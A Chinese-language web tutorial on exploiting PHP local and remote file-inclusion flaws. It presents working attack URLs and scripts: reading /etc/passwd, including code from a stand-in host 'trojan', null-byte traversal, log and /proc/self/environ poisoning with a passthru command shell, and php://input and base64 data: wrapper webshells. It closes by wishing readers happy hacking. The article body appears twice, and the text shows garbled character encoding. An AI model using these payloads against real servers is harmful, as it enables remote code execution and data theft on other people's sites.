php包含漏洞替代技術的方法與介紹 php文件包含漏洞詳解
發(fā)布時間:2012-05-28 13:25:40 作者:佚名
我要評論
php開發(fā)者們犯得一個基本的錯誤是把一個不正當?shù)淖兞總鬟f給系統(tǒng)函數(shù),特別是include()和require()這兩個函數(shù)。
這個常見的錯誤導致了眾所周知的遠程文件包含漏洞和本地文件包含漏洞。
================
php包含漏洞替代技術
================
php開發(fā)者們犯得一個基本的錯誤是把一個不正當?shù)淖兞總鬟f給系統(tǒng)函數(shù),特別是include()和require()這兩個函數(shù)。
這個常見的錯誤導致了眾所周知的遠程文件包含漏洞和本地文件包含漏洞。在過去的幾年中,php已經(jīng)開始試圖通過缺省設置來消除或限制這種漏洞的所帶來影響。
但即使是簡單的本地文件包含,也會有新的技術去利用這些漏洞來導致遠程命令的執(zhí)行。
================
介紹php包含漏洞
================
文件包含漏洞的要點是要去找到一個方法來包含帶有你的php惡意代碼的文件。
<?php
include($_GET['content']);
?>
http://target/index.php?content=/etc/pa sswd
http://target/index.php?content=http://trojan/exec.php
這是第一個例子,它包含了本地文件/etc/pa sswd第二個例子包含了一個遠程文件,這個遠程包含文件在大多數(shù)情況下不能使用,因為php設置中的allow_url_fopen默認是off。
當然,通常有此漏洞的php代碼會比上面的例子更有限制性,通常是通過在前面加上一個目錄,防止遠程文件包含,前面加一個文件擴展名來限制可以包含哪些類型的文件。
<?php
include("pages/".$_GET['content'].".php");
?>
http://target/index.php?content=../../../etc/pa sswd%00
.../的使用允許目錄橫向風格的操作,使你可以操作代碼中預定目錄以外的目錄的文件。
如果php設置中open_basedir為on,它將會阻止你繞過過多的目錄。
網(wǎng)站的開發(fā)者有可能也會使用一些函數(shù)來過濾掉來自用戶提交的惡意數(shù)據(jù),但并非總是如此。
空字節(jié)字符%00(\0)終止字符串,來切斷在它之后提交的任何東西,即是當magic_quotes_gpc 默認為on的時候,也可以逃過。
在http://ush.it網(wǎng)站中有一篇名為《PHP文件系統(tǒng)的攻擊媒介》提供了可能的方法來應付空字節(jié)字符。
php腳本安全也可能取決于像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發(fā)現(xiàn)的phplist的漏洞(phplist是一款國外的Email程序),例子為
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd
==================
本地文件包含致遠程代碼執(zhí)行
==================
一次你找到一個本地包含漏洞,你需要找到一個方法去把你的惡意php代碼插入一個文件中,大量的技術在過去的幾年中出現(xiàn)。
有一種在服務日志中去注入php代碼的技術比上面這些包含漏洞要出現(xiàn)的晚。
它是有可能的去把我們的代碼插入http請求的頭部,然后包含Apache的access_log日志文件(它可能會進行一些測試去找到access_log)。
考慮一下這個例子,在Mac OS X的Apache/PHP默認配置下,寫一個腳本去發(fā)送一個請求可能是必須的,因為瀏覽器可能會對一些字符進行轉義。
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /<?php p assthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
http://www.dbjr.com.cn /index.php?content=/var/log/httpd/access_log&cmd=id
另一種方法是包括了Apache/PHP進程的環(huán)境變量的/proc/ self/environ文件。
如果我們將惡意代碼插入User-Agent 的頭部,這些代碼會出現(xiàn)在那個文件里,所以遠程執(zhí)行代碼是可能的。
/proc/ self/environ必須是可讀的
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1\r\n".
"User-Agent: <?php p assthru(\$_GET['cmd']); ?>\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
=================
Php封裝包含漏洞
====================
利用php的include函數(shù)的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個例子將使用PHP輸入,從一個HTTP POST請求的原始數(shù)據(jù)并執(zhí)行它:
漏洞代碼:
<?php
include($_GET['content']);
?>
我們的請求:
<?php
$request = "<?php p assthru('id;');?>";
$req = "POST /index.php?content=php://input
HTTP/1.1\r\n".
"Host: localhost\r\n".
"Content-type: text/html\r\n".
"Content-length: ".strlen($request)."\r\n".
"Connection: Close\r\n\r\n".
"$request \r\n\r\n";
$a = fsockopen("10.0.2.2",80);
fwrite($a,$req);
echo $req;
while (!feof($a)){echo fgets($a, 128);}
fclose($a);
?>
得到的結果:uid=33(www-data) gid=33(www-data) groups=33(www-data)
這個例子的前提是allow_url_include和allow_fopen_include兩個選項設置為ON,在這種情況下,標準的遠程文件包含是可能的。
這個方法的優(yōu)點是它不依賴于外部儲存文件服務器。
cr0w-at.blogspot.com提到另一種技術使用"數(shù)據(jù):"封裝:
index.php?content=data:,<?php s ystem($_GET[c]);?>?&c=dir
或者base64編碼過的:
index.php?content=data:;base64, \PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
============
總結
============
這些方法大多都不是新的,并沒有表現(xiàn)出缺陷或在PHP語言本身的局限性。這些問題通常可以通過強大的輸入驗證,常識編碼,和一些預防更嚴格的服務器配置。
然而,許多問題并不是很快能消失的(SQL注入等),所以開心的去黑吧。
*本文中闡述的漏洞不會存在于Silic Group的網(wǎng)站
*如果你足夠細心,你會發(fā)現(xiàn)文中很多關鍵字,例如敏感路徑、敏感函數(shù),都被加了個空格
*是因為服務器的防火墻會攔截此類關鍵字,檢測到關鍵字時服務器就會顯示501/503錯誤
*這就是BlackBap.Org所在服務器攔截的原因
*本站管理員注:-)
作者:Anonymous
php包含漏洞替代技術
================
php開發(fā)者們犯得一個基本的錯誤是把一個不正當?shù)淖兞總鬟f給系統(tǒng)函數(shù),特別是include()和require()這兩個函數(shù)。
這個常見的錯誤導致了眾所周知的遠程文件包含漏洞和本地文件包含漏洞。在過去的幾年中,php已經(jīng)開始試圖通過缺省設置來消除或限制這種漏洞的所帶來影響。
但即使是簡單的本地文件包含,也會有新的技術去利用這些漏洞來導致遠程命令的執(zhí)行。
================
介紹php包含漏洞
================
文件包含漏洞的要點是要去找到一個方法來包含帶有你的php惡意代碼的文件。
<?php
include($_GET['content']);
?>
http://target/index.php?content=/etc/pa sswd
http://target/index.php?content=http://trojan/exec.php
這是第一個例子,它包含了本地文件/etc/pa sswd第二個例子包含了一個遠程文件,這個遠程包含文件在大多數(shù)情況下不能使用,因為php設置中的allow_url_fopen默認是off。
當然,通常有此漏洞的php代碼會比上面的例子更有限制性,通常是通過在前面加上一個目錄,防止遠程文件包含,前面加一個文件擴展名來限制可以包含哪些類型的文件。
<?php
include("pages/".$_GET['content'].".php");
?>
http://target/index.php?content=../../../etc/pa sswd%00
.../的使用允許目錄橫向風格的操作,使你可以操作代碼中預定目錄以外的目錄的文件。
如果php設置中open_basedir為on,它將會阻止你繞過過多的目錄。
網(wǎng)站的開發(fā)者有可能也會使用一些函數(shù)來過濾掉來自用戶提交的惡意數(shù)據(jù),但并非總是如此。
空字節(jié)字符%00(\0)終止字符串,來切斷在它之后提交的任何東西,即是當magic_quotes_gpc 默認為on的時候,也可以逃過。
在http://ush.it網(wǎng)站中有一篇名為《PHP文件系統(tǒng)的攻擊媒介》提供了可能的方法來應付空字節(jié)字符。
php腳本安全也可能取決于像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發(fā)現(xiàn)的phplist的漏洞(phplist是一款國外的Email程序),例子為
http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd
==================
本地文件包含致遠程代碼執(zhí)行
==================
一次你找到一個本地包含漏洞,你需要找到一個方法去把你的惡意php代碼插入一個文件中,大量的技術在過去的幾年中出現(xiàn)。
有一種在服務日志中去注入php代碼的技術比上面這些包含漏洞要出現(xiàn)的晚。
它是有可能的去把我們的代碼插入http請求的頭部,然后包含Apache的access_log日志文件(它可能會進行一些測試去找到access_log)。
考慮一下這個例子,在Mac OS X的Apache/PHP默認配置下,寫一個腳本去發(fā)送一個請求可能是必須的,因為瀏覽器可能會對一些字符進行轉義。
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /<?php p assthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
http://www.dbjr.com.cn /index.php?content=/var/log/httpd/access_log&cmd=id
另一種方法是包括了Apache/PHP進程的環(huán)境變量的/proc/ self/environ文件。
如果我們將惡意代碼插入User-Agent 的頭部,這些代碼會出現(xiàn)在那個文件里,所以遠程執(zhí)行代碼是可能的。
/proc/ self/environ必須是可讀的
<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1\r\n".
"User-Agent: <?php p assthru(\$_GET['cmd']); ?>\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>
=================
Php封裝包含漏洞
====================
利用php的include函數(shù)的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個例子將使用PHP輸入,從一個HTTP POST請求的原始數(shù)據(jù)并執(zhí)行它:
漏洞代碼:
<?php
include($_GET['content']);
?>
我們的請求:
<?php
$request = "<?php p assthru('id;');?>";
$req = "POST /index.php?content=php://input
HTTP/1.1\r\n".
"Host: localhost\r\n".
"Content-type: text/html\r\n".
"Content-length: ".strlen($request)."\r\n".
"Connection: Close\r\n\r\n".
"$request \r\n\r\n";
$a = fsockopen("10.0.2.2",80);
fwrite($a,$req);
echo $req;
while (!feof($a)){echo fgets($a, 128);}
fclose($a);
?>
得到的結果:uid=33(www-data) gid=33(www-data) groups=33(www-data)
這個例子的前提是allow_url_include和allow_fopen_include兩個選項設置為ON,在這種情況下,標準的遠程文件包含是可能的。
這個方法的優(yōu)點是它不依賴于外部儲存文件服務器。
cr0w-at.blogspot.com提到另一種技術使用"數(shù)據(jù):"封裝:
index.php?content=data:,<?php s ystem($_GET[c]);?>?&c=dir
或者base64編碼過的:
index.php?content=data:;base64, \PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir
============
總結
============
這些方法大多都不是新的,并沒有表現(xiàn)出缺陷或在PHP語言本身的局限性。這些問題通常可以通過強大的輸入驗證,常識編碼,和一些預防更嚴格的服務器配置。
然而,許多問題并不是很快能消失的(SQL注入等),所以開心的去黑吧。
*本文中闡述的漏洞不會存在于Silic Group的網(wǎng)站
*如果你足夠細心,你會發(fā)現(xiàn)文中很多關鍵字,例如敏感路徑、敏感函數(shù),都被加了個空格
*是因為服務器的防火墻會攔截此類關鍵字,檢測到關鍵字時服務器就會顯示501/503錯誤
*這就是BlackBap.Org所在服務器攔截的原因
*本站管理員注:-)
作者:Anonymous
相關文章

thinkphp代碼執(zhí)行getshell的漏洞解決
本文來介紹一下thinkphp官方修復的一個getshell漏洞,框架對控制器沒有進行足夠的檢測導致的一處getshell,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實網(wǎng)絡攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實網(wǎng)絡攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實例分析,需要的朋友可以參考下2017-05-19
- 這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學2017-05-19
- 對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,2017-04-29
- 我們友情進行XSS檢查,偶然跳出個小彈窗,其中我們總結了一些平時可能用到的XSS插入方式,方便我們以后進行快速檢查,也提供了一定的思路,其中XSS有反射、存儲、DOM這三類2016-12-27
- 這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了使用爬蟲采集網(wǎng)站時,解決被封IP的幾種方法的相關資料,需要的朋友可以參考下2016-10-08


